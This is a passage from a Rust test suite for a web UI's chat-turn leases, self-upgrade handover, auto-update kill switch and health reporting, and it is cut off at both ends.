15022 "a foreign holder is refused, not queued behind"
15023 );
15024 assert!(
15025 !ui.talk_turns.lock().unwrap().live.contains(id),
15026 "a refused claim leaves no in-process entry behind"
15027 );
15028 drop(other);
15029 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15030 assert!(talks.turn_held(id), "the web turn holds the lease");
15031 drop(turn);
15032 assert!(
15033 !talks.turn_held(id),
15034 "dropping the guard releases the lease"
15035 );
15036 }
15037
15038 #[test]
15039 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15040 let home = TempDir::new().expect("temp home");
15041 let talks = Talks::at(home.path().join("talks"));
15042 let ui = Ui::new(
15043 Queue::at(home.path().join("queue")),
15044 Questions::at(home.path().join("questions")),
15045 talks.clone(),
15046 home.path().join("runs"),
15047 home.path().to_path_buf(),
15048 PathBuf::from("/repo"),
15049 )
15050 .with_worktrees_root(home.path().join("wt"));
15051 let id = "20260901-000000-order";
15052 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15053 let slots = ui.talk_turns.lock().unwrap();
15055 let dropper = std::thread::spawn(move || drop(turn));
15056 let start = std::time::Instant::now();
15057 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15058 std::thread::sleep(Duration::from_millis(5));
15059 }
15060 assert!(!talks.turn_held(id), "the lease is released first");
15061 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15062 drop(slots);
15063 dropper.join().expect("join");
15064 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15065 }
15066
15067 #[tokio::test]
15068 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15069 let fx = Fixture::start().await;
15070 let mut beat = crate::daemon::Status::new();
15074 beat.pid = 4321;
15075 beat.updated_at = jiff::Timestamp::now();
15076 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15077 .expect("publish a heartbeat");
15078
15079 let res = fx.post("/api/upgrade", None).await;
15080 assert_eq!(res.status, 409);
15081 let err = res.json()["error"].as_str().unwrap().to_owned();
15082 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15083 assert!(err.contains("old one against the same queue"), "{err}");
15084 }
15085
15086 #[test]
15093 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15094 assert!(!should_spawn_recheck(&crate::config::Update {
15095 mode: UpdateMode::Off,
15096 interval: None,
15097 }));
15098
15099 unsafe {
15102 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15103 }
15104 let killed = should_spawn_recheck(&crate::config::Update {
15105 mode: UpdateMode::Notify,
15106 interval: None,
15107 });
15108 unsafe {
15109 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15110 }
15111 assert!(
15112 !killed,
15113 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15114 one-time startup check"
15115 );
15116
15117 assert!(should_spawn_recheck(&crate::config::Update {
15118 mode: UpdateMode::Notify,
15119 interval: None,
15120 }));
15121 }
15122
15123 #[test]
15129 fn recheck_poll_period_tracks_a_short_configured_interval() {
15130 let short = crate::config::Update {
15131 mode: UpdateMode::Notify,
15132 interval: Some("1m".to_owned()),
15133 };
15134 let period = recheck_poll_period(&short);
15135 assert!(
15136 period <= Duration::from_secs(30),
15137 "a one-minute interval must wake the task far sooner than the \
15138 default ceiling, or the deck would not notice within the \
15139 interval the operator configured: got {period:?}"
15140 );
15141
15142 let default = crate::config::Update {
15143 mode: UpdateMode::Notify,
15144 interval: None,
15145 };
15146 assert_eq!(
15147 recheck_poll_period(&default),
15148 UPDATE_RECHECK_POLL_MAX,
15149 "the default day-long interval should poll at the (capped) \
15150 ceiling rather than needlessly often"
15151 );
15152 }
15153
15154 #[test]
15162 fn recheck_skips_the_network_before_the_interval_elapses() {
15163 let dir = TempDir::new().expect("temp dir");
15164 let path = dir.path().join("state.json");
15165 let state = kaishin::UpdateCheckState {
15166 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15167 last_known_latest: None,
15168 last_known_url: None,
15169 };
15170 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15171
15172 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15173 assert!(
15174 !update_recheck_due(&checker, None),
15175 "a check made moments ago must not be repeated before the \
15176 configured interval elapses"
15177 );
15178 }
15179
15180 #[test]
15186 fn recheck_defers_to_an_upgrade_already_in_flight() {
15187 let dir = TempDir::new().expect("temp dir");
15188 let path = dir.path().join("state.json");
15189 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15190 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15191
15192 assert!(
15193 !update_recheck_due(&checker, Some(&progress)),
15194 "a recheck must not run while an upgrade this deck started is \
15195 still moving"
15196 );
15197 }
15198
15199 #[tokio::test]
15200 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15201 unsafe {
15213 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15214 }
15215 let fx = Fixture::start().await;
15216 let res = fx.post("/api/upgrade", None).await;
15217 unsafe {
15218 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15219 }
15220 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15221 let body = res.json();
15222 assert!(body["to"].is_null(), "there was no release to move to");
15223 assert!(body["parked"].is_null(), "and nothing was parked");
15224 assert!(
15225 body["detail"]
15226 .as_str()
15227 .unwrap()
15228 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15229 "{body:?}"
15230 );
15231 }
15232
15233 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15234 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15235 p.stage = stage;
15236 p
15237 }
15238
15239 #[test]
15240 fn busy_stages_match_the_ui_set() {
15241 use crate::updater::Stage;
15242 assert!(APP_JS.contains(
15243 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15244 ));
15245 for s in [
15246 Stage::Downloading,
15247 Stage::Replaced,
15248 Stage::Parking,
15249 Stage::Restarting,
15250 ] {
15251 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15252 }
15253 for s in [Stage::Done, Stage::Failed] {
15254 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15255 }
15256 assert!(upgrade_in_motion(None).is_none());
15257 }
15258
15259 #[tokio::test]
15260 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15261 use crate::updater::Stage;
15262 for stage in [
15263 Stage::Downloading,
15264 Stage::Replaced,
15265 Stage::Parking,
15266 Stage::Restarting,
15267 ] {
15268 let fx = Fixture::start().await;
15269 let seeded = seeded_progress(stage);
15270 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15271 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15272 .expect("read");
15273
15274 let res = fx.post("/api/upgrade", None).await;
15275 assert_eq!(res.status, 409, "{stage:?}");
15276 let err = res.json()["error"].as_str().unwrap().to_owned();
15277 assert!(err.contains("already in progress"), "{err}");
15278 assert!(err.contains(stage.as_str()), "{err}");
15279
15280 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15281 .expect("read");
15282 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15283 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15284 .unwrap_or_default();
15285 assert!(!log.contains("signalling HANDOVER"), "{log}");
15286 }
15287 }
15288
15289 #[tokio::test]
15290 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15291 use crate::updater::Stage;
15292 let repo = TempDir::new().expect("repo dir");
15293 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15294 .expect("write magi.toml");
15295 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15296 for stage in [Stage::Done, Stage::Failed] {
15297 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15298 let res = fx.post("/api/upgrade", None).await;
15299 assert_eq!(res.status, 200, "{stage:?}");
15300 }
15301 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15303 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15304 }
15305
15306 #[tokio::test]
15307 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15308 let repo = TempDir::new().expect("repo dir");
15324 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15325 .expect("write magi.toml");
15326 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15327
15328 let res = fx.post("/api/upgrade", None).await;
15334 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15335 let body = res.json();
15336 assert!(body["to"].is_null(), "there was no release to move to");
15337 assert!(body["parked"].is_null(), "and nothing was parked");
15338 assert!(
15339 body["detail"]
15340 .as_str()
15341 .unwrap()
15342 .contains("nothing restarted"),
15343 "{body:?}"
15344 );
15345 }
15346
15347 #[tokio::test]
15348 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15349 let repo = TempDir::new().expect("repo dir");
15354 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15355 .expect("write magi.toml");
15356 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15357
15358 let health = fx.get("/api/health").await.json();
15359 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15360 assert_eq!(
15361 health["update"]["available"], false,
15362 "checking is off, which reads as \"unknown\", not \"none\""
15363 );
15364 assert!(health["update"]["to"].is_null());
15365 assert!(
15366 health["upgrade"].is_null(),
15367 "nothing has ever asked this deck to upgrade"
15368 );
15369 }
15370
15371 #[tokio::test]
15372 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15373 let fx = Fixture::start().await;
15374 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15375
15376 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15377 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15378 progress.advance(crate::updater::Stage::Parking);
15379 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15380
15381 let health = fx.get("/api/health").await.json();
15382 assert_eq!(health["upgrade"]["stage"], "parking");
15383 assert_eq!(health["upgrade"]["from"], "0.5.1");
15384 assert_eq!(health["upgrade"]["to"], "0.5.2");
15385 let waiting_on = health["upgrade"]["waiting_on"]
15386 .as_str()
15387 .expect("waiting_on is set while parking a known run");
15388 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15389 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15390 }
15391
15392 #[tokio::test]
15393 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15394 let fx = Fixture::start().await;
15395 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15396 progress.advance(crate::updater::Stage::Done);
15397 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15398
15399 let health = fx.get("/api/health").await.json();
15400 assert_eq!(health["upgrade"]["stage"], "done");
15401 assert!(
15402 health["upgrade"]["waiting_on"].is_null(),
15403 "nothing to wait on once it is done"
15404 );
15405 }
15406
15407 #[tokio::test]
15408 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15409 let home = TempDir::new().expect("temp home");
15410 let runs = home.path().join("runs");
15411 std::fs::create_dir_all(&runs).expect("runs dir");
15412 let ui = Ui::new(
15413 Queue::at(home.path().join("queue")),
15414 Questions::at(home.path().join("questions")),
15415 Talks::at(home.path().join("talks")),
15416 runs,
15417 home.path().to_path_buf(),
15418 PathBuf::from("/repo/magi"),
15419 )
15420 .with_launch(launch_idle);
15421 let looping = ui.looping();
15422 let turns = ui.turns();
15423 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15424 .await
15425 .expect("bind loopback");
15426 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15427
15428 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15429 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15430
15431 hand_over(
15432 home.path(),
15433 &looping,
15434 &turns,
15435 &|_: &[String]| Duration::from_secs(5),
15436 served,
15437 |_| Ok(1),
15438 )
15439 .await
15440 .expect("hand over");
15441
15442 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15443 assert_eq!(
15444 after.stage,
15445 crate::updater::Stage::Restarting,
15446 "hand_over owns the record through parking and up to restarting; \
15447 the successor is what finishes it"
15448 );
15449 }
15450
15451 #[tokio::test]
15454 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15455 for fail in [false, true] {
15456 let home = TempDir::new().expect("temp home");
15457 let ui = idle_ui(&home);
15458 let looping = ui.looping();
15459 let turns = ui.turns();
15460 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15461 .await
15462 .expect("bind loopback");
15463 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15464 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15465 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15466
15467 let calls = std::sync::atomic::AtomicUsize::new(0);
15468 let outcome = hand_over(
15469 home.path(),
15470 &looping,
15471 &turns,
15472 &|_: &[String]| Duration::from_secs(5),
15473 served,
15474 |_| {
15475 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15476 if fail {
15477 anyhow::bail!("no exec")
15478 } else {
15479 Ok(4242)
15480 }
15481 },
15482 )
15483 .await;
15484 assert_eq!(outcome.is_err(), fail);
15485 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15486
15487 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15488 .expect("upgrade.log is written under the home");
15489 for step in [
15490 "entered",
15491 "finish_loop",
15492 "listener released",
15493 "starting the successor",
15494 ] {
15495 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15496 }
15497 assert!(
15498 log.contains(if fail { "did not start" } else { "pid 4242" }),
15499 "{log}"
15500 );
15501 }
15502 }
15503
15504 #[tokio::test]
15507 async fn the_handover_signal_wakes_one_waiter_once() {
15508 let signal = Notify::new();
15509 signal.notify_one();
15511 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15512 .await
15513 .expect("an early signal is still seen");
15514 assert!(
15516 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15517 .await
15518 .is_err(),
15519 "a consumed signal must not wake a second time"
15520 );
15521 let signal = std::sync::Arc::new(signal);
15523 let waiter = tokio::spawn({
15524 let signal = std::sync::Arc::clone(&signal);
15525 async move { wait_for_handover(&signal).await }
15526 });
15527 tokio::time::sleep(Duration::from_millis(20)).await;
15528 assert!(!waiter.is_finished(), "nothing was signalled yet");
15529 signal.notify_one();
15530 tokio::time::timeout(Duration::from_secs(5), waiter)
15531 .await
15532 .expect("a late signal wakes the waiter")
15533 .expect("join");
15534 }
15535
15536 #[tokio::test]
15537 async fn health_says_how_long_a_handover_has_been_stuck() {
15538 let fx = Fixture::start().await;
15539 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15540 progress.advance(crate::updater::Stage::Replaced);
15541 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15542 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15543
15544 let health = fx.get("/api/health").await.json();
15545 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15546 assert!(stuck >= 600, "{stuck}");
15547 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15548 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15549 }
15550
15551 #[tokio::test]
15552 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15553 let home = tempfile::tempdir().expect("temp home");
15554 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15555 progress.advance(crate::updater::Stage::Parking);
15556 crate::updater::write_progress(home.path(), &progress).expect("seed");
15557 let mut again = progress.clone();
15559 again.advance(crate::updater::Stage::Replaced);
15560 crate::updater::write_progress(home.path(), &again).expect("replaced");
15561 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15562 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15563 let after = crate::updater::read_progress(home.path()).expect("record");
15564 assert_eq!(after.stage, crate::updater::Stage::Parking);
15565 }
15566
15567 #[tokio::test]
15568 async fn health_does_not_call_a_live_parking_wait_stuck() {
15569 let fx = Fixture::start().await;
15570 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15571 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15572 progress.advance(crate::updater::Stage::Parking);
15573 let hours = Duration::from_secs(3 * 3600);
15574 progress.started_at = Timestamp::now() - hours;
15575 progress.updated_at = Timestamp::now() - hours;
15576 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15577 let _lease = crate::updater::LeaseGuard::enter(
15578 fx.home.path(),
15579 Some("20260905-000000-cd51".to_owned()),
15580 );
15581
15582 let health = fx.get("/api/health").await.json();
15583 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15584 assert!(health["upgrade"]["stuck_kind"].is_null());
15585 assert_eq!(health["upgrade"]["handover_alive"], true);
15586 let waiting_on = health["upgrade"]["waiting_on"]
15587 .as_str()
15588 .expect("waiting_on");
15589 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15590 }
15591
15592 fn idle_ui(home: &TempDir) -> Ui {
15593 let runs = home.path().join("runs");
15594 std::fs::create_dir_all(&runs).expect("runs dir");
15595 Ui::new(
15596 Queue::at(home.path().join("queue")),
15597 Questions::at(home.path().join("questions")),
15598 Talks::at(home.path().join("talks")),
15599 runs,
15600 home.path().to_path_buf(),
15601 PathBuf::from("/repo/magi"),
15602 )
15603 .with_launch(launch_idle)
15604 }
15605
15606 async fn park_fixture(
15607 home: &TempDir,
15608 ) -> (
15609 Ui,
15610 Arc<Mutex<LoopState>>,
15611 Arc<Mutex<TalkTurns>>,
15612 tokio::task::JoinHandle<std::io::Result<()>>,
15613 ) {
15614 let ui = idle_ui(home);
15615 let looping = ui.looping();
15616 let turns = ui.turns();
15617 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15618 .await
15619 .expect("bind loopback");
15620 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15621 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15622 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15623 (ui, looping, turns, served)
15624 }
15625
15626 #[tokio::test]
15630 async fn hand_over_waits_for_a_running_chat_turn() {
15631 let home = TempDir::new().expect("temp home");
15632 let (ui, looping, turns, served) = park_fixture(&home).await;
15633 let ui = Arc::new(ui);
15634 let id = "20260901-000000-chat";
15635 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15636
15637 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15638 let handover = tokio::spawn({
15639 let home = home.path().to_path_buf();
15640 let turns = Arc::clone(&turns);
15641 let calls = Arc::clone(&calls);
15642 async move {
15643 hand_over(
15644 &home,
15645 &looping,
15646 &turns,
15647 &|_: &[String]| Duration::from_secs(60),
15648 served,
15649 move |_| {
15650 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15651 Ok(1)
15652 },
15653 )
15654 .await
15655 }
15656 });
15657
15658 let waiting = async {
15659 for _ in 0..200 {
15660 if crate::updater::read_progress(home.path())
15661 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15662 {
15663 return;
15664 }
15665 tokio::time::sleep(Duration::from_millis(25)).await;
15666 }
15667 panic!("the park never named the chat turn");
15668 };
15669 waiting.await;
15670 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15671
15672 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15675 assert!(
15676 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15677 "a direct start says an upgrade is in progress"
15678 );
15679 assert!(
15680 ui.begin_queued_talk_turn("20260901-000000-late")
15681 .expect("queued claim")
15682 .is_none()
15683 );
15684 assert!(matches!(
15685 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15686 .expect("start"),
15687 TalkTurnStart::Busy
15688 ));
15689 assert_eq!(turns.lock().unwrap().live.len(), 1);
15690
15691 let progress = crate::updater::read_progress(home.path()).expect("progress");
15693 let view = upgrade_progress_view(&ui, progress);
15694 assert!(
15695 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15696 "{:?}",
15697 view.waiting_on
15698 );
15699
15700 assert!(!handover.is_finished());
15701 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15702 drop(turn);
15703 handover.await.expect("join").expect("hand over");
15704 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15705 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15706 }
15707
15708 #[tokio::test]
15711 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15712 let home = TempDir::new().expect("temp home");
15713 let (ui, looping, turns, served) = park_fixture(&home).await;
15714 let ui = Arc::new(ui);
15715 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15717 lock_or_recover(&looping).live = Some(Live {
15718 stop: daemon::Stop::new(),
15719 handle: tokio::spawn(async move {
15720 let _ = loop_ended.await;
15721 }),
15722 opts: daemon::Opts::default(),
15723 });
15724
15725 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15726 let handover = tokio::spawn({
15727 let home = home.path().to_path_buf();
15728 let turns = Arc::clone(&turns);
15729 let calls = Arc::clone(&calls);
15730 async move {
15731 hand_over(
15732 &home,
15733 &looping,
15734 &turns,
15735 &|_: &[String]| Duration::from_secs(60),
15736 served,
15737 move |_| {
15738 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15739 Ok(1)
15740 },
15741 )
15742 .await
15743 }
15744 });
15745
15746 let reached = async {
15747 for _ in 0..200 {
15748 if crate::updater::read_progress(home.path())
15749 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15750 {
15751 return;
15752 }
15753 tokio::time::sleep(Duration::from_millis(25)).await;
15754 }
15755 panic!("the hand-over never reached parking");
15756 };
15757 reached.await;
15758
15759 assert!(!turns.lock().unwrap().parking);
15761 let turn = ui
15762 .begin_talk_turn("20260901-000000-chat")
15763 .expect("claim")
15764 .expect("a turn can start while the loop parks");
15765
15766 end_loop.send(()).expect("loop still waiting");
15768 for _ in 0..200 {
15769 if turns.lock().unwrap().parking {
15770 break;
15771 }
15772 tokio::time::sleep(Duration::from_millis(25)).await;
15773 }
15774 assert!(
15775 turns.lock().unwrap().parking,
15776 "closed once the loop is done"
15777 );
15778 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15779 assert!(
15780 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15781 "no turn starts once the loop is done"
15782 );
15783 assert!(
15784 ui.begin_queued_talk_turn("20260901-000000-late")
15785 .expect("queued claim")
15786 .is_none()
15787 );
15788 assert!(!handover.is_finished());
15789 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15790
15791 drop(turn);
15792 handover.await.expect("join").expect("hand over");
15793 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15794 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15795 }
15796
15797 #[tokio::test]
15800 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15801 let home = TempDir::new().expect("temp home");
15802 let (ui, looping, turns, served) = park_fixture(&home).await;
15803 let id = "20260901-000000-stuk";
15804 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15805
15806 let calls = std::sync::atomic::AtomicUsize::new(0);
15807 hand_over(
15808 home.path(),
15809 &looping,
15810 &turns,
15811 &|_: &[String]| Duration::from_millis(300),
15812 served,
15813 |_| {
15814 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15815 Ok(1)
15816 },
15817 )
15818 .await
15819 .expect("hand over");
15820 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15821
15822 let progress = crate::updater::read_progress(home.path()).expect("progress");
15823 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15824 assert!(
15825 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15826 "{:?}",
15827 progress.detail
15828 );
15829 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15830 assert!(
15831 log.contains("handing over anyway") && log.contains(id),
15832 "{log}"
15833 );
15834 }
15835
15836 #[tokio::test]
15839 async fn drain_loop_starts_no_turn_while_parking() {
15840 let tmp = TempDir::new().expect("tempdir");
15841 let repo = tmp.path().join("repo");
15842 std::fs::create_dir_all(&repo).expect("repo dir");
15843 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15844 let home = TempDir::new().expect("temp home");
15845 let talks = Talks::at(home.path().join("talks"));
15846 let ui = Ui::new(
15847 Queue::at(home.path().join("queue")),
15848 Questions::at(home.path().join("questions")),
15849 talks.clone(),
15850 home.path().join("runs"),
15851 home.path().to_path_buf(),
15852 repo.clone(),
15853 )
15854 .with_worktrees_root(home.path().join("wt"));
15855 let cfg = config_for(&repo).await.expect("discover config");
15856 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15857 let id = talk.id.clone();
15858 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15859 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15860 let turns = ui.turns();
15861 let parking = ParkingTurns::begin(&turns);
15862
15863 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15864
15865 assert!(
15866 turns.lock().unwrap().live.is_empty(),
15867 "the slot is given up"
15868 );
15869 let fresh = talks.get(&id).expect("talk");
15870 assert_eq!(fresh.pending, "later", "the draft is still queued");
15871 assert!(fresh.turns.is_empty(), "no turn ran");
15872 drop(parking);
15873 }
15874
15875 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15877 let looping = ui.looping();
15878 let turns = ui.turns();
15879 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15880 .await
15881 .expect("bind loopback");
15882 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15883 let told = std::sync::Mutex::new(None);
15884 hand_over(
15885 home.path(),
15886 &looping,
15887 &turns,
15888 &|_: &[String]| Duration::from_secs(5),
15889 served,
15890 |resume| {
15891 *told.lock().unwrap() = Some(resume);
15892 Ok(1)
15893 },
15894 )
15895 .await
15896 .expect("hand over");
15897 told.into_inner().unwrap().expect("successor was started")
15898 }
15899
15900 #[tokio::test]
15901 async fn a_running_loop_is_resumed_by_the_successor() {
15902 let home = TempDir::new().expect("temp home");
15903 let ui = idle_ui(&home);
15904 ui.start_loop(None).expect("start");
15905 ui.park_for_upgrade().expect("park");
15906 for _ in 0..500 {
15908 if !ui.loop_view(None).running {
15909 break;
15910 }
15911 tokio::time::sleep(Duration::from_millis(2)).await;
15912 }
15913 assert!(handed_over(&home, ui).await, "a running loop must resume");
15914
15915 let successor = idle_ui(&home);
15916 assert!(!successor.loop_view(None).running);
15917 assert!(successor.resume_after_handover(true));
15918 assert!(successor.loop_view(None).running);
15919 successor.stop_loop(None, false).expect("stop");
15920 }
15921
15922 #[tokio::test]
15923 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15924 let home = TempDir::new().expect("temp home");
15925 let ui = idle_ui(&home);
15926 ui.start_loop(None).expect("start");
15927 ui.park_for_upgrade().expect("first park");
15928 ui.park_for_upgrade().expect("second park");
15929 assert!(handed_over(&home, ui).await);
15930 }
15931
15932 #[tokio::test]
15933 async fn a_stop_during_the_handover_wait_is_honoured() {
15934 let home = TempDir::new().expect("temp home");
15935 let ui = idle_ui(&home);
15936 ui.start_loop(None).expect("start");
15937 ui.park_for_upgrade().expect("park");
15938 ui.stop_loop(None, false).expect("stop");
15939 assert!(!handed_over(&home, ui).await);
15940 }
15941
15942 #[tokio::test]
15943 async fn an_idle_loop_stays_stopped_across_the_handover() {
15944 let home = TempDir::new().expect("temp home");
15945 let ui = idle_ui(&home);
15946 ui.park_for_upgrade().expect("park");
15947 assert!(!handed_over(&home, ui).await);
15948
15949 let successor = idle_ui(&home);
15950 assert!(!successor.resume_after_handover(false));
15951 assert!(!successor.loop_view(None).running);
15952 }
15953
15954 #[tokio::test]
15955 async fn a_loop_the_operator_stopped_is_not_resumed() {
15956 let home = TempDir::new().expect("temp home");
15957 let ui = idle_ui(&home);
15958 ui.start_loop(None).expect("start");
15959 ui.stop_loop(None, false).expect("stop");
15960 ui.park_for_upgrade().expect("park");
15961 assert!(!handed_over(&home, ui).await);
15962 }
15963
15964 #[test]
15965 fn only_an_explicit_one_requests_a_resume() {
15966 assert!(!resume_requested(None));
15967 assert!(!resume_requested(Some("0".into())));
15968 assert!(!resume_requested(Some("".into())));
15969 assert!(resume_requested(Some("1".into())));
15970 }
15971
15972 #[test]
15973 fn the_upgrade_button_arms_before_it_restarts_anything() {
15974 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15977 assert!(APP_JS.contains("Replace the binary and restart?"));
15978 assert!(APP_JS.contains("function confirmed("));
15979 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15984 assert!(
15988 APP_JS.contains("Parking, then restarting"),
15989 "the button says what it is waiting for"
15990 );
15991 assert!(APP_JS.contains("if (!out.to)"));
15994 }
15995
15996 #[test]
15997 fn stopping_the_loop_arms_but_starting_does_not() {
15998 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
